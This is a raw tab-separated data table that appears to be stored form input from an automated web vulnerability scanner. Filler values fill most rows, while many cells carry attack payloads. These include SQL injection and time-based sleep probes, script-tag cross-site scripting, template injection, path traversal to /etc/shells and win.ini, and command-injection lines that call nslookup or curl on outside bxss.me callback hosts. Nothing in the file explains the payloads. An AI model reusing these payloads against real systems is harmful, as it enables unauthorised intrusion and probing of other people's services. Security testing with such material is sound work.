1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1OhJvv2jo	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	<!--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	17TCTS3VG0	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=25 or 'tYqWD0wE'='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	15HPDTB3H0	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=26	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1BANCPFDEO0	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=25	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1TIRR2CTS0	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1GZNN747Q0	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	12ODY933Z0	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1BAHCFAXVX0	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	<!--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUDr4CJ0Sf	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	17N272Z4F0	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	<!--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	19111823	1	1	1	1	1	1	1	1
1	1	1	${9999487+10000398}	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	<!--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'<wRRTk>	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""dfbzzzzzzzzbbbccccdddeeexca"".replace(""z"",""o"")"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	dfb__${98991*97996}__::.x	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	dfb{{98991*97996}}xca	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'.gethostbyname(lc('hitck'.'xppjwwfd010d8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(70).chr(101).chr(66).'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bfgx5805%C0%BEz1%C0%BCz2a%90bcxhjl5805	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""KwGFdqSz""="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""KwGFdqSz""="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	<!--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU'""()&%<zzz><ScRiPt >V1xQ(9292)</ScRiPt>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 or 'cf9BRgeS'='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 or 'cf9BRgeS'='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102""&&sleep(27*1000)*ydoims&&"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	;(nslookup -q=cname hitichcayzakde3b9f.bxss.me||curl hitichcayzakde3b9f.bxss.me)|(nslookup -q=cname hitichcayzakde3b9f.bxss.me||curl hitichcayzakde3b9f.bxss.me)&(nslookup -q=cname hitichcayzakde3b9f.bxss.me||curl hitichcayzakde3b9f.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	`(nslookup -q=cname hitrfocchsqjt98edd.bxss.me||curl hitrfocchsqjt98edd.bxss.me)`	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'||sleep(27*1000)*uwcwcs||'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'""()"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU""&&sleep(27*1000)*zyufte&&"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'&&sleep(27*1000)*wlfunk&&'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&nslookup -q=cname hitpfmdrzytfyf481f.bxss.me&'\""`0&nslookup -q=cname hitpfmdrzytfyf481f.bxss.me&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	$(nslookup -q=cname hitbxugwfxcpn476b9.bxss.me||curl hitbxugwfxcpn476b9.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&echo beoddp$()\ diqerr\nz^xyu||a #' &echo beoddp$()\ diqerr\nz^xyu||a #|"" &echo beoddp$()\ diqerr\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"echo cuglaj$()\ zdbgdu\nz^xyu||a #' &echo cuglaj$()\ zdbgdu\nz^xyu||a #|"" &echo cuglaj$()\ zdbgdu\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1""&&sleep(27*1000)*wngqgz&&"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitecasonntvhff402.bxss.me||curl${IFS}hitecasonntvhff402.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitecasonntvhff402.bxss.me||curl${IFS}hitecasonntvhff402.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=26 or 'lwRHry0Z'='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'""()"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitvowkqzbbgq45803.bxss.me||curl${IFS}hitvowkqzbbgq45803.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	;(nslookup -q=cname hitixiqvpkkayd9303.bxss.me||curl hitixiqvpkkayd9303.bxss.me)|(nslookup -q=cname hitixiqvpkkayd9303.bxss.me||curl hitixiqvpkkayd9303.bxss.me)&(nslookup -q=cname hitixiqvpkkayd9303.bxss.me||curl hitixiqvpkkayd9303.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	|(nslookup -q=cname hitdcjyjtljtl7476e.bxss.me||curl hitdcjyjtljtl7476e.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&nslookup -q=cname hitnyavqkgyor2c95f.bxss.me&'\""`0&nslookup -q=cname hitnyavqkgyor2c95f.bxss.me&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1""||sleep(27*1000)*fkeuqj||"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	$(nslookup -q=cname hitdgxpvflmpf1d945.bxss.me||curl hitdgxpvflmpf1d945.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'&&sleep(27*1000)*lvdvlw&&'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'""()"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&echo tyqthk$()\ bhiigd\nz^xyu||a #' &echo tyqthk$()\ bhiigd\nz^xyu||a #|"" &echo tyqthk$()\ bhiigd\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"echo dmybsn$()\ hicrbp\nz^xyu||a #' &echo dmybsn$()\ hicrbp\nz^xyu||a #|"" &echo dmybsn$()\ hicrbp\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'||sleep(27*1000)*xdvyzg||'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'""()"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	!(()&&!|*|*|	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	Http://bxss.me/t/fit.txt	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bxss.me	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	http://bxss.me/t/fit.txt%3F.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	c:/windows/win.ini	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	!(()&&!|*|*|	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../etc/shells	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1""||sleep(27*1000)*pjwver||"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1""&&sleep(27*1000)*yrcxlh&&"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'""()"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1""||sleep(27*1000)*hptmqs||"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	!(()&&!|*|*|	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	/etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	!(()&&!|*|*|	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	@@vzqsp	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
